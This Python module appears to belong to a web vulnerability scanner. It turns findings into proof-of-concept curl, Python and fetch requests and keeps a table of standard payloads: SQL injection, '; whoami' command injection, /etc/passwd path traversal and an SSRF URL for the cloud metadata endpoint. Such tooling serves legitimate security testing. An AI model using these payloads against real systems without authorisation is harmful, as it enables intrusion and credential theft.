import uuid import hashlib import hmac import secrets import base64 import subprocess from typing import * import os import sys import re import json import time import urllib3 import requests import socket import logging import threading import concurrent.futures import ipaddress import ssl from urllib.parse import urlparse, urljoin, urlencode, quote from collections import defaultdict from bs4 import BeautifulSoup from datetime import datetime, timezone def _curl_cmd(method: str, url: str, headers: dict | None = None, data: str | None = None, cookie: str | None = None, proxy: str | None = None) -> str: parts = ["curl", "-X", method] if cookie: parts.extend(["-H", f"'Cookie: {cookie}'"]) if headers: for k, v in headers.items(): parts.extend(["-H", f"'{k}: {v}'"]) if data: parts.extend(["-d", f"'{data}'"]) if proxy: parts.extend(["-x", proxy]) parts.append(f"'{url}'") return " ".join(parts) def _python_script(method: str, url: str, headers: dict | None = None, data: str | None = None, cookie: str | None = None) -> str: lines = ["import requests"] lines.append(f"url = '{url}'") if headers: lines.append(f"headers = {json.dumps(headers)}") else: lines.append("headers = {}") if cookie: lines.append(f"headers['Cookie'] = '{cookie}'") if data: lines.append(f"data = '''{data}'''") lines.append(f"r = requests.{method.lower()}(url, headers=headers, data=data)") else: lines.append(f"r = requests.{method.lower()}(url, headers=headers)") lines.append("print(r.status_code, r.text[:500])") return "\n".join(lines) def _js_fetch(method: str, url: str, headers: dict | None = None, data: str | None = None) -> str: js_headers = json.dumps(headers or {}) if data: return f"fetch('{url}', {{ method: '{method}', headers: {js_headers}, body: `{data}` }}).then(r => r.text().then(console.log))" return f"fetch('{url}', {{ method: '{method}', headers: {js_headers} }}).then(r => r.text().then(console.log))" GENERATORS: dict[str, dict] = { "sql_injection": { "name": "SQL Injection", "exploit_template": {0: "curl"}, "payload_template": "' OR '1'='1' -- ", }, "xss": { "name": "Cross-Site Scripting", "exploit_template": {0: "curl", 1: "browser"}, }, "command_injection": { "name": "OS Command Injection", "payload_template": "; whoami", }, "lfi": { "name": "Local File Inclusion", "payload_template": "../../../etc/passwd", }, "path_traversal": { "name": "Path Traversal", "payload_template": "../../../etc/passwd", }, "ssrf": { "name": "Server-Side Request Forgery", "payload_template": "http://169.254.169.254/latest/meta-data/", }, } def generate_exploit(vuln: dict, pwn_type: str | None = None) -> dict: scanner_key = vuln.get("scanner_key", "unknown") method = "GET" title = vuln.get("title", "") description = vuln.get("description", "") payload = vuln.get("payload", "") request_details = vuln.get("request_details", "") url = request_details.replace("GET ", "").replace("POST ", "").strip().split(" ")[0] if request_details else "" if not url: url_match = __import__("re").search(r"https?://[^\s\"'<>]+", title + " " + description) url = url_match.group(0) if url_match else "TARGET_URL" if "POST" in request_details: method = "POST" headers = {"User-Agent": "Exploit-PoC"} data = payload if method == "POST" else None exploits = { "curl": _curl_cmd(method, url, headers, data), "python": _python_script(method, url, headers, data), "javascript": _js_fetch(method, url, headers, data), } generator = GENERATORS.get(scanner_key, {}) pwn_type = pwn_type or generator.get("payload_template", "") return { "vulnerability": title, "scanner_key": scanner_key, "target_url": url, "method": method, "payload_used": payload or pwn_type, "exploits": exploits, "generated_at": datetime.now(timezone.utc).isoformat(), }